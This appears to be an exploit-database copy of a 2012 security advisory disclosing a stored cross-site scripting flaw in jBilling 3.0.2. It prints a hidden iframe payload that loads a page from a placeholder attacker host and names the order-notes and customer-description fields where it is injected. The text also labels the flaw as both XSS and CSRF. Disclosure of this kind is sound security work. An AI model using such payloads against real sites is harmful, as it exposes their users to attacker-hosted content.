jBilling 3.0.2 Cross Site Scripting Vulnerability

vendor:

jBilling

by:

Woody Hughes

3,7

CVSS

(AV:R/AC:L/Au:R/C:C/I:P/A:N/B:/E:P/RL:U/RC:U)

Cross Site Request Forgery (CSRF)

N/A

CWE

Product Name: jBilling

Affected Version From: 3.0.2

Affected Version To: 3.0.2

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu Linux

2012

jBilling 3.0.2 Cross Site Scripting Vulnerability

jBilling does not properly check user input, thus allowing the <iframe> tag to be used in a malicious manner. For example, an individual with Add User rights could add multiple users and when those users log in, the following <iframe> tag would send them to a malicious website hosting malicious content: <iframe src=”http://attacker_host:4321/attack.html” height=”1” width=”1” style=”visibility: hidden;” /> The URLs that are affected are: http://[host]/jbilling/orderBuilder/edit?execution=e1s1&userId=[uid] Create a new order and in the notes section, input your malicious code. http://[host]/jbilling/customer/edit Add a new customer by going to the URL above and enter their details. In the description box, input your malicious code.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: jBilling 3.0.2 Cross Site Scripting Vulnerability
# Date: 11/23/2012
# Exploit Author: Woody Hughes <whughes@ingresssecurity.com>
# Vendor Homepage: http://www.jbilling.com
# Software Link: http://sourceforge.net/projects/jbilling/files/latest/download
# Version: 3.0.2
# Tested on: Ubuntu Linux

INGRESS SECURITY SECURITY ADVISORY
INGRES-11232012-jBilling 3.0.2 Cross Site Scripting Vulnerability
November 23, 2012

OVERVIEW
Ingress Security has found a cross site scripting vulnerability in the form of a cross site request forgery in the jBilling billing software.

jBilling's mission is to provide a robust, secure, open source alternative for enterprise billing. With our world-class service team, we help companies all over the world deploy and maintain billing solutions to meet their business needs.

AFFECTED PRODUCTS
jBilling 3.0.2

PLATFORM: Linux

LOCAL/REMOTE: Remote

CVSS SCORE: 3.7 (AV:R/AC:L/Au:R/C:C/I:P/A:N/B:/E:P/RL:U/RC:U)

DESCRIPTION OF VULNERABILITIES	

Cross Site Request Forgery (CSRF)
jBilling does not properly check user input, thus allowing the <iframe> tag to be used in a malicious manner. For example, an individual with Add User rights could add multiple users and when those users log in, the following <iframe> tag would send them to a malicious website hosting malicious content:

<iframe src=”http://attacker_host:4321/attack.html” height=”1” width=”1” style=”visibility: hidden;” />

The URLs that are affected are:

http://[host]/jbilling/orderBuilder/edit?execution=e1s1&userId=[uid]

	Create a new order and in the notes section, input your malicious code.

http://[host]/jbilling/customer/edit

	 Add a new customer by going to the URL above and enter their details. In the description box, input your malicious code.

DISCLAIMER
The information provided in this advisory is provided as it is without any warranty. Ingress Security disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Ingress Security or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Ingress Security or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply.

Any modified copy or reproduction, including partially usages, of this file requires authorization from Ingress Security. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Ingress Security or its suppliers. All pictures, texts, advisories, source code, videos and other information is a trademark of Ingress Security, the specific authors, or managers. To record, list (feed), modify, use, or edit our material, contact info@ingresssecurity.com to get permission.